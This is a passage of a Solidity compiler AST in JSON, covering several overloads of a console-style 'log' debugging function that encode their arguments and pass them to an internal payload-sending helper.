ifier":"t_uint256","typeString":"uint256"},"typeName":{"id":23007,"name":"uint","nodeType":"ElementaryTypeName","src":"60734:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"60703:39:14"},"returnParameters":{"id":23010,"nodeType":"ParameterList","parameters":[],"src":"60757:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":23046,"nodeType":"FunctionDefinition","src":"60867:181:14","nodes":[],"body":{"id":23045,"nodeType":"Block","src":"60942:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c626f6f6c2c75696e742c737472696e6729","id":23037,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"60992:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_9b588eccef132ec49572951d33e9b0d1b814d54c82133831f78cdc5d923bc6e6","typeString":"literal_string \"log(address,bool,uint,string)\""},"value":"log(address,bool,uint,string)"},{"id":23038,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23025,"src":"61025:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23039,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23027,"src":"61029:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":23040,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23029,"src":"61033:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":23041,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23031,"src":"61037:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_9b588eccef132ec49572951d33e9b0d1b814d54c82133831f78cdc5d923bc6e6","typeString":"literal_string \"log(address,bool,uint,string)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":23035,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"60968:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":23036,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"60972:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"60968:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":23042,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"60968:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":23034,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"60952:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":23043,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"60952:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23044,"nodeType":"ExpressionStatement","src":"60952:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"60876:3:14","parameters":{"id":23032,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23025,"mutability":"mutable","name":"p0","nameLocation":"60888:2:14","nodeType":"VariableDeclaration","scope":23046,"src":"60880:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23024,"name":"address","nodeType":"ElementaryTypeName","src":"60880:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23027,"mutability":"mutable","name":"p1","nameLocation":"60897:2:14","nodeType":"VariableDeclaration","scope":23046,"src":"60892:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":23026,"name":"bool","nodeType":"ElementaryTypeName","src":"60892:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":23029,"mutability":"mutable","name":"p2","nameLocation":"60906:2:14","nodeType":"VariableDeclaration","scope":23046,"src":"60901:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":23028,"name":"uint","nodeType":"ElementaryTypeName","src":"60901:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":23031,"mutability":"mutable","name":"p3","nameLocation":"60924:2:14","nodeType":"VariableDeclaration","scope":23046,"src":"60910:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":23030,"name":"string","nodeType":"ElementaryTypeName","src":"60910:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"60879:48:14"},"returnParameters":{"id":23033,"nodeType":"ParameterList","parameters":[],"src":"60942:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":23069,"nodeType":"FunctionDefinition","src":"61054:170:14","nodes":[],"body":{"id":23068,"nodeType":"Block","src":"61120:104:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c626f6f6c2c75696e742c626f6f6c29","id":23060,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"61170:29:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_85cdc5af22f2a2b52749c228b5bc379bac815d0d3575c2899b6657bce00fab33","typeString":"literal_string \"log(address,bool,uint,bool)\""},"value":"log(address,bool,uint,bool)"},{"id":23061,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23048,"src":"61201:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23062,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23050,"src":"61205:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":23063,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23052,"src":"61209:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":23064,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23054,"src":"61213:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_85cdc5af22f2a2b52749c228b5bc379bac815d0d3575c2899b6657bce00fab33","typeString":"literal_string \"log(address,bool,uint,bool)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":23058,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"61146:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":23059,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"61150:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"61146:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":23065,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"61146:70:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":23057,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"61130:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":23066,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"61130:87:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23067,"nodeType":"ExpressionStatement","src":"61130:87:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"61063:3:14","parameters":{"id":23055,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23048,"mutability":"mutable","name":"p0","nameLocation":"61075:2:14","nodeType":"VariableDeclaration","scope":23069,"src":"61067:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23047,"name":"address","nodeType":"ElementaryTypeName","src":"61067:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23050,"mutability":"mutable","name":"p1","nameLocation":"61084:2:14","nodeType":"VariableDeclaration","scope":23069,"src":"61079:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":23049,"name":"bool","nodeType":"ElementaryTypeName","src":"61079:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":23052,"mutability":"mutable","name":"p2","nameLocation":"61093:2:14","nodeType":"VariableDeclaration","scope":23069,"src":"61088:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":23051,"name":"uint","nodeType":"ElementaryTypeName","src":"61088:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":23054,"mutability":"mutable","name":"p3","nameLocation":"61102:2:14","nodeType":"VariableDeclaration","scope":23069,"src":"61097:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":23053,"name":"bool","nodeType":"ElementaryTypeName","src":"61097:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"61066:39:14"},"returnParameters":{"id":23056,"nodeType":"ParameterList","parameters":[],"src":"61120:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":23092,"nodeType":"FunctionDefinition","src":"61230:176:14","nodes":[],"body":{"id":23091,"nodeType":"Block","src":"61299:107:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c626f6f6c2c75696e742c6164647265737329","id":23083,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"61349:32:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_0d8ce61ee7d058fd1e588343a35fb1aff71b8e7f74d553220d0e20088cb908bf","typeString":"literal_string \"log(address,bool,uint,address)\""},"value":"log(address,bool,uint,address)"},{"id":23084,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23071,"src":"61383:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23085,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23073,"src":"61387:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":23086,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23075,"src":"61391:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":23087,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23077,"src":"61395:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_0d8ce61ee7d058fd1e588343a35fb1aff71b8e7f74d553220d0e20088cb908bf","typeString":"literal_string \"log(address,bool,uint,address)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":23081,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"61325:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":23082,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"61329:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"61325:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":23088,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"61325:73:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":23080,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"61309:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":23089,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"61309:90:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23090,"nodeType":"ExpressionStatement","src":"61309:90:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"61239:3:14","parameters":{"id":23078,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23071,"mutability":"mutable","name":"p0","nameLocation":"61251:2:14","nodeType":"VariableDeclaration","scope":23092,"src":"61243:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23070,"name":"address","nodeType":"ElementaryTypeName","src":"61243:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23073,"mutability":"mutable","name":"p1","nameLocation":"61260:2:14","nodeType":"VariableDeclaration","scope":23092,"src":"61255:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":23072,"name":"bool","nodeType":"ElementaryTypeName","src":"61255:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":23075,"mutability":"mutable","name":"p2","nameLocation":"61269:2:14","nodeType":"VariableDeclaration","scope":23092,"src":"61264:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":23074,"name":"uint","nodeType":"ElementaryTypeName","src":"61264:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":23077,"mutability":"mutable","name":"p3","nameLocation":"61281:2:14","nodeType":"VariableDeclaration","scope":23092,"src":"61273:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23076,"name":"address","nodeType":"ElementaryTypeName","src":"61273:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"61242:42:14"},"returnParameters":{"id":23079,"nodeType":"ParameterList","parameters":[],"src":"61299:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":23115,"nodeType":"FunctionDefinition","src":"61412:181:14","nodes":[],"body":{"id":23114,"nodeType":"Block","src":"61487:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c626f6f6c2c737472696e672c75696e7429","id":23106,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"61537:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_9e127b6e4348bc33b3ea7f05f6479d3e1b1fe2b3727e1f4ba94b6a36e7abac9b","typeString":"literal_string \"log(address,bool,string,uint)\""},"value":"log(address,bool,string,uint)"},{"id":23107,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23094,"src":"61570:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23108,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23096,"src":"61574:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":23109,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23098,"src":"61578:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":23110,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23100,"src":"61582:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_9e127b6e4348bc33b3ea7f05f6479d3e1b1fe2b3727e1f4ba94b6a36e7abac9b","typeString":"literal_string \"log(address,bool,string,uint)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":23104,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"61513:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":23105,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"61517:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"61513:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":23111,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"61513:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":23103,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"61497:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":23112,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"61497:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23113,"nodeType":"ExpressionStatement","src":"61497:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"61421:3:14","parameters":{"id":23101,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23094,"mutability":"mutable","name":"p0","nameLocation":"61433:2:14","nodeType":"VariableDeclaration","scope":23115,"src":"61425:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23093,"name":"address","nodeType":"ElementaryTypeName","src":"61425:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23096,"mutability":"mutable","name":"p1","nameLocation":"61442:2:14","nodeType":"VariableDeclaration","scope":23115,"src":"61437:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":23095,"name":"bool","nodeType":"ElementaryTypeName","src":"61437:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":23098,"mutability":"mutable","name":"p2","nameLocation":"61460:2:14","nodeType":"VariableDeclaration","scope":23115,"src":"61446:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":23097,"name":"string","nodeType":"ElementaryTypeName","src":"61446:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":23100,"mutability":"mutable","name":"p3","nameLocation":"61469:2:14","nodeType":"VariableDeclaration","scope":23115,"src":"61464:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":23099,"name":"uint","nodeType":"ElementaryTypeName","src":"61464:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"61424:48:14"},"returnParameters":{"id":23102,"nodeType":"ParameterList","parameters":[],"src":"61487:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":23138,"nodeType":"FunctionDefinition","src":"61599:192:14","nodes":[],"body":{"id":23137,"nodeType":"Block","src":"61683:108:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c626f6f6c2c737472696e672c737472696e6729","id":23129,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"61733:33:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_475c5c33f91155b7a0e86c9fac7985c60ab58f4bfb411ee9b31d994a7fc95d1f","typeString":"literal_string \"log(address,bool,string,string)\""},"value":"log(address,bool,string,string)"},{"id":23130,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23117,"src":"61768:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23131,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23119,"src":"61772:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":23132,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23121,"src":"61776:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":23133,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23123,"src":"61780:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_475c5c33f91155b7a0e86c9fac7985c60ab58f4bfb411ee9b31d994a7fc95d1f","typeString":"literal_string \"log(address,bool,string,string)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":23127,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"61709:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":23128,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"61713:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"61709:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":23134,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"61709:74:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":23126,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"61693:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":23135,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"61693:91:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23136,"nodeType":"ExpressionStatement","src":"61693:91:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"61608:3:14","parameters":{"id":23124,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23117,"mutability":"mutable","name":"p0","nameLocation":"61620:2:14","nodeType":"VariableDeclaration","scope":23138,"src":"61612:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23116,"name":"address","nodeType":"ElementaryTypeName","src":"61612:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23119,"mutability":"mutable","name":"p1","nameLocation":"61629:2:14","nodeType":"VariableDeclaration","scope":23138,"src":"61624:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":23118,"name":"bool","nodeType":"ElementaryTypeName","src":"61624:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":23121,"mutability":"mutable","name":"p2","nameLocation":"61647:2:14","nodeType":"VariableDeclaration","scope":23138,"src":"61633:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":23120,"name":"string","nodeType":"ElementaryTypeName","src":"61633:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":23123,"mutability":"mutable","name":"p3","nameLocation":"61665:2:14","nodeType":"VariableDeclaration","scope":23138,"src":"61651:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":23122,"name":"string","nodeType":"ElementaryTypeName","src":"61651:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"61611:57:14"},"returnParameters":{"id":23125,"nodeType":"ParameterList","parameters":[],"src":"61683:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":23161,"nodeType":"FunctionDefinition","src":"61797:181:14","nodes":[],"body":{"id":23160,"nodeType":"Block","src":"61872:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c626f6f6c2c737472696e672c626f6f6c29","id":23152,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"61922:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_50ad461db24803fc9b2ba76f072192e0a4d8fbb3667a50c400f504443380890f","typeString":"literal_string \"log(address,bool,string,bool)\""},"value":"log(address,bool,string,bool)"},{"id":23153,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23140,"src":"61955:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23154,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23142,"src":"61959:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":23155,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23144,"src":"61963:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":23156,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23146,"src":"61967:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_50ad461db24803fc9b2ba76f072192e0a4d8fbb3667a50c400f504443380890f","typeString":"literal_string \"log(address,bool,string,bool)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string 